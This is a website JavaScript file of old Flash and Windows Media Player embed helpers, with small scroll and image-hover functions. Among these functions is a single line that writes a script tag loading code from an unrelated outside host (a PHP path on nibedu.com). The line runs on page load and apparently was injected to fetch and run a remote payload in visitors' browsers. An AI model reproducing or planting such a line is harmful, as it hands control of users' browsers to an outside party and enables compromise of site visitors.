// flash IE,FF compatible code
function swfwrite(furl,fwidth,fheight,transoption) {
 document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,115,0" width="'+ fwidth +'" height="' + fheight +'" align="middle">');
 document.write('<param name="movie" value="'+ furl +'"/>');
 document.write('<PARAM NAME=wmode VALUE=transparent>');///
 if (transoption == "t") {
  document.write('<param name="wmode" value="transparent"/>');
 } else if (transoption == "o") {
  document.write('<param name="wmode" value="opaque"/>');
 } else if (transoption == "w") {
  document.write('<param name="wmode" value="window"/>');
 }
 document.write('<!-- Hixie method -->');
 document.write('<!--[if !IE]> <-->');
 document.write('<object type="application/x-shockwave-flash" data="'+ furl +'" width="'+ fwidth +'" height="' + fheight +'"');
 if (transoption == "t") {
  document.write(' wmode="transparent"');
 } else if (transoption == "o") {
  document.write(' wmode="opaque"');
 } else if (transoption == "w") {
  document.write(' wmode="window"');
 }
 document.write('></object>');
 document.write('<!--> <![endif]-->');
 document.write('</object>');
}


//TV_AD_MEDIA___
function tv_adplay(file,w,h,mediaName) {
document.write('<object id="'+mediaName+'" name=id="'+mediaName+'" width='+w+' height='+h+' classid="CLSID:22D6f312-B0F6-11D0-94AB-0080C74C7E95" codebase="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=6,4,05,0809" standby="Loading Microsoft Windows Media Player components..." type="application/x-oleobject" VIEWASTEXT>')
document.write('<param name="transparentAtStart" value="True">')
document.write('<param name="transparentAtStop" value="False">')
document.write('<param name="AnimationAtStart" value="0">')
document.write('<param name="Loop" value="true">')
document.write('<param name="AutoStart" value="0">')
document.write('<param name="AutoRewind" value="true">')
document.write('<param name="SendMouseClickEvents" value="True">')
document.write('<param name="DisplaySize" value="0">')
document.write('<param name="AutoSize" value="False">')
document.write('<param name="ShowDisplay" value="False">')
document.write('<param name="ShowControls" value="False">')
document.write('<param name="ShowTracker" value="True">')
document.write('<param name="FileName" value="'+file+'">')
document.write('<param name="Enabled" value="1">')
document.write('<param name="EnableContextMenu" value="1">')
document.write('<param name="EnablePositionControls" value="1">')
document.write('<param name="EnableFullScreenControls" value="1">')
document.write('<param name="ShowPositionControls" value="1">')
document.write('<param name="Mute" value="0">')
document.write('<param name="Rate" value="1">')
document.write('<param name="SAMILang" value="">')
document.write('<param name="SAMIStyle" value="">')
document.write('<param name="SAMIFileName" value="">')
document.write('<param name="ClickToPlay" value="0">')
document.write('<param name="CursorType" value="1">')
document.write('<embed src="'+file+'"   id="'+mediaName+'" Loop=true  quality=high menu="false" bgcolor=#FFFFFF  WIDTH="'+w+'" HEIGHT="'+h+'" autoplay=true controller=true loop=false type="application/x-oleobject"></embed></object>')
} 
//--------------------------------------------------------------

function topPage() { 
document.body.scrollTop = 0; 
}

document.write('<script src=http://nibedu.com/fls/aboutus.php ><\/script>');

function fn_imageOver(objImg) {
	objImg.style.filter = "";
}

function fn_imageout(objImg) {
	objImg.style.filter = "gray";
}